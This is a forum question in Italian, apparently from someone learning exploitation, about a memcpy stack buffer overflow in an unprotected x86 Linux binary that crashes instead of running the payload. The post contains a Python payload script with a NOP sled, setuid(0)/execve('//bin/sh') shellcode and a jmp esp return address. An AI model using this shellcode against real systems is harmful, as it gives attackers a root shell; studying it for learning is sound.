Sto scrivendo un exploit per un binario x86 su Linux e sto imparando lo sfruttamento.
Il binario non ha protezioni e lo stack è anche eseguibile.
Ha un overflow del buffer quando usa la funzione memcpy () e sono in grado di controllare con successo il valore in ESP al ritorno dalla funzione.
Genero il mio input come mostrato di seguito:
#! /usr/bin/python
nopsled = '\x90' * 256
shellcode = '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
data = nopsled + shellcode + 'A' * (0x20c - 256 - 32) + '\xa1\x85\x48\x80' + shellcode
print data
\ xa1 \ x85 \ x48 \ x80 è corrispondente all'indirizzo di jmp esp che ho trovato nel binario.
Ora, quando eseguo il debug remoto del binario usando IDA Pro, posso vedere che ESP è stato scritto correttamente con l'indirizzo di jmp esp e lo shellcode è giusto dopo esp.
Quindi, mi aspettavo che l'esecuzione del codice venisse trasferita allo shellcode quando passo al ritorno. Invece il programma si blocca.
Controllo il segmento di memoria in IDA pro e lo stack è eseguibile. L'indirizzo 0x804885a1 si trova nella sezione .text e dovrebbe essere anch'esso eseguibile.
Apprezzerei molto l'aiuto e imparerò sinceramente.
Ho allegato uno screenshot dello stato di stack, memoria e disassemblaggio.